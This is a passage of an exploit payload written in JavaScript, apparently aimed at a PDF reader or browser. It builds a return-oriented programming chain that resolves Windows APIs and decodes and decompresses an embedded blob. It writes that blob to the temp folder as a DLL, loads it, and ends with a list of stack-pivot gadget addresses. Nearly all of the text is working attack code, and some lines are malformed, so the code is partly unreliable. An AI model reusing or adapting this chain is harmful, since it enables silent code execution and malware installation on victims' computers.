r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x538c1d); //xchg    eax,edi/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc023c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x816e96); //ptr to "MSVCR90.dll"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret 

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc022c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle

r+=getUnescape(moduleLoadAddr+0x818047); //scratch_space + 0x47 ("wcsstr")
r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {MSVCR90!wcsstr (7189752c)}
r+=getUnescape(moduleLoadAddr+0x5ec1a0); //pop ecx/pop ecx/ret
r+=getUnescape(0x41414141); // Placeholder for Ptr to "Module" (unicode)
r+=getUnescape(moduleLoadAddr+0x60a990] // "Module" (unicode)
r+=getUnescape(moduleLoadAddr+0x2df56d); //add eax, 0ch/ret ; Points to after "Module"

r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 0x5e
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ; Copies the start of that string above to the scratchspace
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x81804e); //scratch_space + 0x4e
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(0x1010101);
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret 

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x817030); //pointer to "Crypt32.dll"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc02ac);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret; ; Loads the address of "Crypt32.dll" to 4141 below

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // Placeholder for the address of "Crypt32.dll"

r+=getUnescape(moduleLoadAddr+0x818018); //scratch_space + 0x18 // Place holder in scratch space for handle of crypt32 from loadlibrary
r+=getUnescape(moduleLoadAddr+0x57c7ce); //xchg    eax,ebp/ret 

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 0x5e 
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc033c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0340);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret 
r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0344);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
r+=getUnescape(moduleLoadAddr+0x57c7ce); //xchg    eax,ebp/ret ; sets ebp to attacker controlled data

r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {CRYPT32!CryptStringToBinaryA (756e1360)}
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(0x41414141); // Placeholder for ptr to base64 above
r+=getUnescape(0x42424242); // Placeholder for zeros above
r+=getUnescape(0x43434343); // place holder for 1 above
r+=getUnescape(moduleLoadAddr+0x818066); //scratch_space + 0x66
r+=getUnescape(moduleLoadAddr+0x81804e); //scratch_space + 0x4e
r+=getUnescape(moduleLoadAddr+0x818056); //scratch_space + 0x56
r+=getUnescape(moduleLoadAddr+0x81805a); //scratch_space + 0x5a

r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret
r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0428);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret 
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ; ecx = 2

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x81804e); //; scratch_space + 0x4e
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0438);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret 
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 5e
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc042c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x81802d); //ptr to string (ntdll)
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0418);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // place holder for above
r+=getUnescape(moduleLoadAddr+0x818033); //prt to str "RtlDecompressBuffer"

r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {ntdll!RtlDecompressBuffer (77585001)}
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(0x41414141); // Place Holder for above - which is 2 (LZNT)
r+=getUnescape(0x44444444); // Place Holder for above - ptr to b64 blob
r+=getUnescape(0x1010101); // Place Holder for above  - 01010101
r+=getUnescape(moduleLoadAddr+0x818066); //scratch_space + 66 - ptr to decoded blob
r+=getUnescape(0x43434343); // Place holder for above 00004a51 
r+=getUnescape(moduleLoadAddr+0x818052); //scratch_space + 52 ptr to "756f7365"

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x816e96); //ptr to "MSVCR90.dll"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc047c);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // handle
r+=getUnescape(moduleLoadAddr+0x81800e); //ptr to "fwrite"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc05ec);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret; 
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret


r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x60a4fc); //ptr to Kernel32.dll
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc04e0);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(0x41414141); // Handle
r+=getUnescape(moduleLoadAddr+0x818001] ptr to GetTempPathA
r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {kernel32!GetTempPathA (769e8996)}
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(0x1010101); // 
r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01; to be used to store the path

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01; path
r+=getUnescape(moduleLoadAddr+0x4f16f4); //add     eax,ecx/ret
r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret ; is zero
r+=getUnescape(0x542e44); // is "D.T"
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret ;
r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret ;
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc05f8);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret 
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x818052]
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc05fc);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f165c); //65cf265c={MSVCR90!fopen (7188fe4a)}
r+=getUnescape(moduleLoadAddr+0x1dee7); //jmp [eax]
r+=getUnescape(moduleLoadAddr+0x5ec1a0); //pop ecx/pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01 ; Points to temppath+DLL name
r+=getUnescape(moduleLoadAddr+0x818015); //scratch_space + 15 ; points to "wb"
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0600);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret; 

r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc0614);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ecx is ptr to 0

r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 5e;
r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret

r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
r+=getUnescape(0xcccc05f4);
r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret

r+=getUnescape(0x42424242); // ptr to fwrite 
r+=getUnescape(moduleLoadAddr+0x5012b3); //add     esp,10h/ret
r+=getUnescape(0x43434343); // ptr to start of program
r+=getUnescape(0x44444444); // 1
r+=getUnescape(0x44444444); // 00008c00
r+=getUnescape(0x45454545); // file handle


r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1668); // ptr to fclose
r+=getUnescape(moduleLoadAddr+0x1dee7); // jmp     dword ptr [eax]

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret - Useless?
r+=getUnescape(0x45454545);

r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}

r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
r+=getUnescape(moduleLoadAddr+0x818101); //Loads D.T as a library
r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
r+=getUnescape(moduleLoadAddr+0x5f10c0); // ptr to SleepStub
r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret

r+=getUnescape(moduleLoadAddr+0x17); //ret
r+=getUnescape(0x1010101);


r+=getUnescape(0x6f004d);
r+=getUnescape(0x750064);
r+=getUnescape(0x65006c);

ROP_ADD_ESP_4 = 0x20c709bb;
ROP_ADD_ESP_8 = 0x20d7c5ad;
ROP_ADD_ESP_10 = 0x20d022b3;
ROP_ADD_ESP_14 = 0x20cfa63f;
ROP_ADD_ESP_1C = 0x20cec3dd;
ROP_ADD_ESP_3C = 0x2080df51;
XCHG_EAX_ESP = 0x20d18753;
NOP = 0x20801017;
CLR_STACK  = 0x20cea9bf;
STACK_PIVOT = 0x2089209e;